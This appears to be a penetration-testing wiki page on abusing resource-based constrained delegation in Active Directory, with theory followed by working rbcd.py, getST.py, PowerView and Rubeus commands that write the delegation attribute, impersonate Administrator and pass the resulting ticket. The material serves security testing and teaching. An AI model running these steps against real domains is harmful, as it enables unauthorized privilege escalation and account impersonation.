Active Directory
Systems & services
🛠️ Physical
🛠️ binary exploitation
(RBCD) Resource-based constrained
Theory
If an account, having the capability to edit the
msDS-AllowedToActOnBehalfOfOtherIdentity attribute of another object (e.g. the GenericWrite ACE, see Abusing ACLs), is compromised, an attacker can use it populate that attribute, hence configuring that object for RBCD.Machine accounts can edit their own
msDS-AllowedToActOnBehalfOfOtherIdentity attribute, hence allowing RBCD attacks on relayed machine accounts authentications.For this attack to work, the attacker needs to populate the target attribute with an account having a
ServicePrincipalName set (needed for Kerberos delegation operations). The usual way to conduct these attacks is to create a computer account, which comes with an SPN set. This is usually possible thanks to a domain-level attribute called MachineAccountQuota that allows regular users to create up to 10 computer accounts. While this "computer account creation + RBCD attack" is the most common exploitation path, doing so with a user account (having at least one SPN) is perfectly feasible.Then, in order to abuse this, the attacker has to control the account the object's attribute has been populated with (i.e. the account that has an SPN). Using that account's credentials, the attacker can obtain a ticket through
S4U2Self and S4U2Proxy requests, just like constrained delegation with protocol transition.In the end, an RBCD abuse results in a Service Ticket to authenticate on a target service on behalf of a user. Once the final Service Ticket is obtained, it can be used with Pass-the-Ticket to access the target service.
On a side note, a technique called AnySPN or "service class modification" can be used concurrently with pass-the-ticket to change the service class the Service Ticket was destined to (e.g. for the
cifs/target.domain.local SPN, the service class is cifs).
The
msDS-AllowedToActOnBehalfOfOtherIdentity was introduced with Windows Server 2012 implying that RBCD only works when the Domain Controller Functionality Level (DCFL) is Windows Server 2012 or higher.Practice
UNIX-like
Windows
1 - Edit the target's "rbcd" attribute (ACE abuse)
✏
1
# Read the attribute
2
rbcd.py -delegate-to 'target#x27; -dc-ip 'DomainController' -action read 'DOMAIN'/'POWERFULUSER':'PASSWORD'
3
4
# Append value to the msDS-AllowedToActOnBehalfOfOtherIdentity
5
rbcd.py -delegate-from 'accountwithSPN' -delegate-to 'target#x27; -dc-ip 'DomainController' -action write 'DOMAIN'/'POWERFULUSER':'PASSWORD'
Copied!
Testers can also use ntlmrelayx to set the delegation rights with the
--delegate-access option when conducting this attack from a relayed authentication.2 - Obtain a ticket (delegation operation)
🎫
1
getST.py -spn $target_SPN -impersonate Administrator -dc-ip $DomainController 'DOMAIN/SHUTDOWN$:SomePassword'
Copied!
In some cases, the delegation will not work. Depending on the context, the bronze bit vulnerability (CVE-2020-17049) can be used with the
-force-forwardable option to try to bypass restrictions.The SPN (Service Principal Name) set can have an impact on what services will be reachable. For instance,
cifs/target.domain or host/target.domain will allow most remote dumping operations (more info on adsecurity.org). There however scenarios where the SPN can be changed (AnySPN) to access more service. This technique is automatically tried by Impacket scripts when doing pass-the-ticket.3 - Pass-the-ticket
🛂
In order to run the following commands and tools as other users, testers can check the user impersonation part.
1 - Edit the target's security descriptor (ACE abuse)
✏
The PowerShell ActiveDirectory module's cmdlets Set-ADComputer and Get-ADComputer can be used to write and read the attributed of an object (in this case, to modify the delegation rights).
1
# Read the security descriptor
2
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount
3
4
# Populate the msDS-AllowedToActOnBehalfOfOtherIdentity
5
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount 'accountwithSPN'
Copied!
1
# Obtain the SID of the controlled computer account
2
$ComputerSid = Get-DomainComputer 'PENTEST01' -Properties objectsid | Select -Expand objectsid
3
4
# Build a generic ACE with the attacker-added computer SID as the pricipal, and get the binary bytes for the new DACL/ACE
5
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
6
$SDBytes = New-Object byte[] ($SD.BinaryLength)
7
$SD.GetBinaryForm($SDBytes, 0)
8
9
# set SD in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the target comptuer account
10
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
Copied!
2 - Obtain a ticket (delegation operation)
🎫
1
# Request the TGT
2
Rubeus.exe tgtdeleg
3
4
# Request the "impersonation" service ticket
5
Rubeus.exe s4u /user:SHUTDOWN$ /rc4:$NThash /impersonateuser:Administrator /msdsspn:$Target_SPN /ptt
Copied!
The NT hash can be computed as follows.
1
Rubeus.exe hash /password:$password
Copied!
3 - Pass-the-ticket
🛂
Once the ticket is injected, it can natively be used when accessing the service (see pass-the-ticket).
Resources
Resource-Based Constrained Delegation Abuse
Stealthbits Technologies
Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory
Shenanigans Labs
CVE-2020-17049: Kerberos Bronze Bit Attack - Theory
NetSPI
Last modified 13d ago